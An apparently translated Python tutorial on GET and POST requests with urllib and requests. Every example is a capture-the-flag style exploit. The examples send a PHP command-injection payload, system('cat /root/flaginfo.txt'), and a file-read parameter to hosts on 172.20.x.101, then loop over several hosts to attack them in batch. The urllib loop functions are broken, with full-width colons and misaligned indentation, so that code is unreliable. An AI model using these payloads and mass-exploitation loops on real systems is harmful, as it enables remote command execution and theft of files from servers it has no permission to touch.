Python3 implements get and post parameter transfer

Reference article

Utilize the urllib library

import urllib.request
import urllib.parse

1. get parameter
   command format: urllib.request.urlopen(url)

url = "http://172.20.101.101/reg.php"
payload = {
    "a":"system('cat /root/flaginfo.txt');"
}
data = urllib.parse.urlencode(payload)

response = urllib.request.urlopen(url + "?" +data)
print(response.read().decode())

2. Post parameter
   command format: urllib.request.urlopen(url,data=post_data.encode())

url="http://172.20.101.101/post.php"
data={
    "a":"system('cat /root/flaginfo.txt');"
}
payload=urllib.parse.urlencode(data)

response = urllib.request.urlopen(url,data=payload.encode())
print(response.read().decode())

3. Use re regular matching to match strings (get pass parameter form)
   import re

url = "http://172.20.101.101/about.php"
###get
payload = {
    "f":"/root/flaginfo.txt"
}

data = urllib.parse.urlencode(payload)
#print(data)
response = urllib.request.urlopen(url + "?" +data)
html=response.read().decode()
flag=re.findall('(.*?)<div class="row">',html,re.S)
print(flag)

4. Loop through the
   get shape

def urllibget(u,payload):
    for i in range(101,104):
        url="http://172.20."+str(i)+".101"
        print(url,end="   ")
        try：
        		data=urllib.parse.urlencode(payload)
        		response=urllib.request.urlopen(url+u+"?"+data)
        		result=response.read().decode()
        		print(result)
		except：
				pass
				
u="/reg.php"
payload={"a":"system('cat /root/flaginfo.txt');"}
urllibget(u,payload)

post shape

def urllibpost(u,p):
    for i in range(101,104):
        url="http://172.20."+str(i)+".101"
        print(url,end="   ")
        try:
             payload=urllib.parse.urlencode(p)
             response=urllib.request.urlopen(url+u,data=payload.encode())
             result=response.read().decode()
             print(result)
         except:
         	 pass

u="/post.php"
payload={"a":"system('cat /root/flaginfo.txt');"}
urllibpost(u,payload)

Use the requests library

import requests

1. get parameter
   command format: requests.get(url)

url="http://172.20.101.101"
data="/reg.php?a=system('cat /root/flaginfo.txt');"
url=url+data
req=requests.get(url).content.decode()
print(req)

2. Post parameter transfer
   Command format: requests.post(url,data=post_data)

url="http://172.20.101.101/post.php"
post_data={"a":"system('cat /root/flaginfo.txt');"}
req=requests.post(url,data=post_data).content.decode()
print(req)

3. Use re regular matching to match strings (get type)
   import re
   command format: result=re.findall('match string conditions',html,re.S)

url="http://172.20.101.101"
data="/about.php?f=/root/flaginfo.txt"
payload=url+data
req=requests.get(payload).content.decode()
result=re.findall('(.*?)<div class="row">',req,re.S)
print(result)

4. Loop through the
   get type

def getc(payload):
    for i in range(101,104):
        url="http://172.20."+str(i)+".101"
        print(url,end="   ")
        url=url+payload
        try:
            req=requests.get(url).content.decode()
            print(req)
        except:
            pass
payload="/reg.php?a=system('cat /root/flaginfo.txt');"
getc(payload)

post type

def postc(u,post_data):
    for i in range(101,104):
        url="http://172.20."+str(i)+".101"
        print(url,end="   ")
        try:
            url=url+u
            req=requests.post(url,data=post_data).content.decode()
            print(req)
        except:
            pass
u="/post.php"
post_data={"a":"system('cat /root/flaginfo.txt');"}
postc(u,post_data)